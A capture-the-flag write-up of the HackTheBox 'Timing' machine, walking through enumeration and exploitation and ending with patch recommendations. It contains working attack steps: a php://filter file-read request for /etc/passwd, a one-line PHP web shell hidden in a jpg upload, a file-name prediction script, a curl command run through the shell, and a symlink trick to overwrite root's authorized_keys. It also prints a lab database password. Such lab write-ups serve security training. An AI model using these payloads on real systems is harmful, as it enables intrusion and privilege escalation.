Some checks failed
		
		
	
	Build Blog Docker Image / build docker (push) Failing after 1m11s
				
			
		
			
				
	
	
		
			301 lines
		
	
	
		
			9.7 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			301 lines
		
	
	
		
			9.7 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
| ---
 | ||
| title: "Writeup - Timing (HTB)"
 | ||
| date: 2022-04-07
 | ||
| slug: "writeup-timing-htb"
 | ||
| type: "writeup-ctf"
 | ||
| --- 
 | ||
| 
 | ||
| This is a writeup for the [Timing](https://app.hackthebox.com/machines/Timing) machine from the HackTheBox site.
 | ||
| 
 | ||
| ## Enumeration
 | ||
| 
 | ||
| First, let's start with a scan of our target with the following command:
 | ||
| 
 | ||
| 
 | ||
| ```bash
 | ||
| nmap -sV -T4 -Pn 10.10.11.135
 | ||
| ```
 | ||
| Two TCP ports are discovered:
 | ||
| 
 | ||
| 
 | ||
| 
 | ||
| - 22/tcp : SSH port (OpenSSH 7.6p1)
 | ||
| - 80/tcp : HTTP web server (Apache 2.4.49)
 | ||
| 
 | ||
| 
 | ||
| 
 | ||
| ## Exploit
 | ||
| 
 | ||
| First of all, let's start by listing the pages of the website.
 | ||
| 
 | ||
| 
 | ||
| 
 | ||
| When testing the different ones, they all return an error except the `image.php` page. Let's try to list the arguments available on this page with the following command:
 | ||
| 
 | ||
| 
 | ||
| ```bash
 | ||
| ffuf -c -u http://10.10.11.135/image.php?FUZZ=/bin/bash -w wordlist/common.txt -fw 1
 | ||
| ```
 | ||
| 
 | ||
| 
 | ||
| We find that the `img` argument exists. Let's try to list the contents of the `/etc/passwd` :
 | ||
| 
 | ||
| 
 | ||
| 
 | ||
| The site has an injection detection, let's try to make a new request but this time with a base64 encoding to avoid the detection:
 | ||
| 
 | ||
| 
 | ||
| ```bash
 | ||
| http://10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd
 | ||
| ```
 | ||
| The page returns a character string in base64, I decode it with the following command:
 | ||
| 
 | ||
| 
 | ||
| ```bash
 | ||
| ┌──(d3vyce㉿kali)-[~/Documents]
 | ||
| └─$ echo "[string]" | base64 -d
 | ||
| root:x:0:0:root:/root:/bin/bash
 | ||
| daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 | ||
| bin:x:2:2:bin:/bin:/usr/sbin/nologin
 | ||
| sys:x:3:3:sys:/dev:/usr/sbin/nologin
 | ||
| sync:x:4:65534:sync:/bin:/bin/sync
 | ||
| games:x:5:60:games:/usr/games:/usr/sbin/nologin
 | ||
| man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
 | ||
| lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
 | ||
| mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
 | ||
| news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
 | ||
| uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
 | ||
| proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
 | ||
| www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
 | ||
| backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
 | ||
| list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
 | ||
| irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
 | ||
| gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
 | ||
| nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
 | ||
| systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
 | ||
| systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
 | ||
| syslog:x:102:106::/home/syslog:/usr/sbin/nologin
 | ||
| messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
 | ||
| _apt:x:104:65534::/nonexistent:/usr/sbin/nologin
 | ||
| lxd:x:105:65534::/var/lib/lxd/:/bin/false
 | ||
| uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
 | ||
| dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
 | ||
| landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
 | ||
| pollinate:x:109:1::/var/cache/pollinate:/bin/false
 | ||
| sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
 | ||
| mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
 | ||
| aaron:x:1000:1000:aaron:/home/aaron:/bin/bash
 | ||
| ```
 | ||
| We find that there is a user `aaron` on the machine. I try to connect to the site with this user and basic passwords.  I end up connecting with the following credentials: `user: aaron, password: aaron`.
 | ||
| 
 | ||
| I continue my exploration of the files by starting with `login.php`. 
 | ||
| 
 | ||
| 
 | ||
| 
 | ||
| In this file I find a reference to the database connection file: `db_conn.php`. 
 | ||
| 
 | ||
| 
 | ||
| ```bash
 | ||
| $pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
 | ||
| ```
 | ||
| db\_conn.phpOk, we have a username and password for the mysql database and potentially a user... I tried to make an SSH session with this password and the user `aaron` but without success.
 | ||
| 
 | ||
| I continue my research and find the mention of a new page in `upload.php` : `admin_auth_check.php`.
 | ||
| 
 | ||
| 
 | ||
| ```php
 | ||
| <?php
 | ||
| 
 | ||
| include_once "auth_check.php";
 | ||
| 
 | ||
| if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
 | ||
|     echo "No permission to access this panel!";
 | ||
|     header('Location: ./index.php');
 | ||
|     die();
 | ||
| }
 | ||
| 
 | ||
| ?>
 | ||
| ```
 | ||
| In this file we find that if the session variable `role` is equal to 1 we have access to the admin section of the site.
 | ||
| 
 | ||
| In one of the javascript files we find the existence of another php page : `profile_update.php`.
 | ||
| 
 | ||
| 
 | ||
| ```php
 | ||
| function updateProfile() {
 | ||
|     var xml = new XMLHttpRequest();
 | ||
|     xml.onreadystatechange = function () {
 | ||
|         if (xml.readyState == 4 && xml.status == 200) {
 | ||
|             document.getElementById("alert-profile-update").style.display = "block"
 | ||
|         }
 | ||
|     };
 | ||
| 
 | ||
|     xml.open("POST", "profile_update.php", true);
 | ||
|     xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
 | ||
|     xml.send("firstName=" + document.getElementById("firstName").value + "&lastName=" + document.getElementById("lastName").value + "&email=" + document.getElementById("email").value + "&company=" + document.getElementById("company").value);
 | ||
| }
 | ||
| ```
 | ||
| 
 | ||
| 
 | ||
| In this file we find that we can send during a POST request the `role` variable. I create a request with Burp with `role=1`, this should give me access to the admin panel of the site.
 | ||
| 
 | ||
| 
 | ||
| 
 | ||
| I continue my analysis of the php files of the site with `avatar_uploader.php` which brings me then to `upload.php`.
 | ||
| 
 | ||
| 
 | ||
| ```php
 | ||
| <?php
 | ||
| include("admin_auth_check.php");
 | ||
| 
 | ||
| $upload_dir = "images/uploads/";
 | ||
| 
 | ||
| if (!file_exists($upload_dir)) {
 | ||
|     mkdir($upload_dir, 0777, true);
 | ||
| }
 | ||
| 
 | ||
| $file_hash = uniqid();
 | ||
| 
 | ||
| $file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
 | ||
| $target_file = $upload_dir . $file_name;
 | ||
| $error = "";
 | ||
| $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
 | ||
| 
 | ||
| if (isset($_POST["submit"])) {
 | ||
|     $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
 | ||
|     if ($check === false) {
 | ||
|         $error = "Invalid file";
 | ||
|     }
 | ||
| }
 | ||
| 
 | ||
| // Check if file already exists
 | ||
| if (file_exists($target_file)) {
 | ||
|     $error = "Sorry, file already exists.";
 | ||
| }
 | ||
| 
 | ||
| if ($imageFileType != "jpg") {
 | ||
|     $error = "This extension is not allowed.";
 | ||
| }
 | ||
| 
 | ||
| if (empty($error)) {
 | ||
|     if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
 | ||
|         echo "The file has been uploaded.";
 | ||
|     } else {
 | ||
|         echo "Error: There was an error uploading your file.";
 | ||
|     }
 | ||
| } else {
 | ||
|     echo "Error: " . $error;
 | ||
| }
 | ||
| ?>
 | ||
| ```
 | ||
| In this file we learn several things:
 | ||
| 
 | ||
| - Only `.jpg` files are accepted
 | ||
| - The uploaded images are stored in the folder `images/uploards/`
 | ||
| - The images take a name based on the string `$file_hash` and the function time()
 | ||
| 
 | ||
| 💡In PHP single quotes are strings and double quotes are the values of the variable.So we will have to make a script to calculate the first part of the file name. I realize this script in PHP, every second it will give a possible hash to use for the name of the uploaded file.
 | ||
| 
 | ||
| 
 | ||
| ```php
 | ||
| <?php
 | ||
| 
 | ||
| while(true) {
 | ||
|     $hash = md5('$file_hash' . time()) . 'd3vyce.jpg';
 | ||
|     echo "hash = $hash \n";
 | ||
|     sleep(1);
 | ||
| }
 | ||
| ```
 | ||
| 
 | ||
| {{< alert >}}
 | ||
| Before doing the manipulation, it is necessary to check that your clock is well synchronized with the Internet (`timedatectl`). If this is not the case, you can activate it with the following command: `timedatectl set-ntp yes`.I create an image `d3vyce.jpg` with the following content:
 | ||
| {{< /alert >}}
 | ||
| 
 | ||
| ```php
 | ||
| <?php system($_GET[cmd]);?>
 | ||
| ```
 | ||
| I then run the php script :
 | ||
| 
 | ||
| 
 | ||
| 
 | ||
| Then I upload the image on the server. All that's left to do is to make requests with the different hash possibilities.
 | ||
| 
 | ||
| 
 | ||
| 
 | ||
| I can now send commands to the target server. It's not ideal, but I also tried with a reverse shell, but without success...
 | ||
| 
 | ||
| 
 | ||
| 
 | ||
| After some time of enumeration, I find a `source-files-backup.zip` file in the `/otp` folder.
 | ||
| 
 | ||
| To recover this file, I make a copy to the folder where the website is stored:
 | ||
| 
 | ||
| 
 | ||
| ```bash
 | ||
| curl 'http://10.10.11.135/image.php?img=images/uploads/0fdde4bab214a9a96630c16ac87bf0d4_d3vyce.jpg&cmd=cp+/opt/source-files-backup.zip+/var/www/html/'
 | ||
| ```
 | ||
| I can now retrieve the file by accessing the address `http://10.10.11.135/source-files-backup.zip`. After unzipping the zip I find the tree structure :
 | ||
| 
 | ||
| 
 | ||
| 
 | ||
| This is a GIT project, so I check the history with the following command:
 | ||
| 
 | ||
| 
 | ||
| 
 | ||
| In the last commit, there was a modification on the file in which we found credencials. Let's see what has been modified in this file:
 | ||
| 
 | ||
| 
 | ||
| 
 | ||
| There has been a password change! Let's try this new password to create an SSH session with the user `aaron`.
 | ||
| 
 | ||
| 
 | ||
| 
 | ||
| I now have a shell and can retrieve the first flag.
 | ||
| 
 | ||
| ## Privilege escalation
 | ||
| 
 | ||
| For elevation of privilege I first check if the user has sudo access:
 | ||
| 
 | ||
| 
 | ||
| 
 | ||
| So I can use the `netutils` service with root rights. Let's see what this program does:
 | ||
| 
 | ||
| 
 | ||
| 
 | ||
| This program allows you to download files via FTP or HTTP.
 | ||
| 
 | ||
| 
 | ||
| 
 | ||
| Once the file is downloaded, I notice that it does not belong to me but to the root user!
 | ||
| 
 | ||
| What we will be able to do is to make a symbolic link of the file `/root/.ssh/authorized_keys` and then upload a file with the same name so that the content is overwritten and replaced by our public key.
 | ||
| 
 | ||
| To do this I create the symbolic link with the following command:
 | ||
| 
 | ||
| 
 | ||
| ```bash
 | ||
| ln -s /root/.ssh/authorized_keys authorized_keys
 | ||
| ```
 | ||
| 
 | ||
| 
 | ||
| Then before launching a file server in which I placed a file `authorized_keys` with my public key inside.
 | ||
| 
 | ||
| I download the file with the program `netutils` : 
 | ||
| 
 | ||
| 
 | ||
| 
 | ||
| I now connect to the root user via SSH :
 | ||
| 
 | ||
| 
 | ||
| 
 | ||
| I can now recover the last flag.
 | ||
| 
 | ||
| ## Recommendations
 | ||
| 
 | ||
| To patch this host I think it would be necessary to perform a number of actions:
 | ||
| 
 | ||
| - Do not use the same login/password
 | ||
| - Fix the php argument to avoid enumeration
 | ||
| - Do not use a user's password for the mysql database
 | ||
| - Do not give sudo rights to a program that does not need them
 |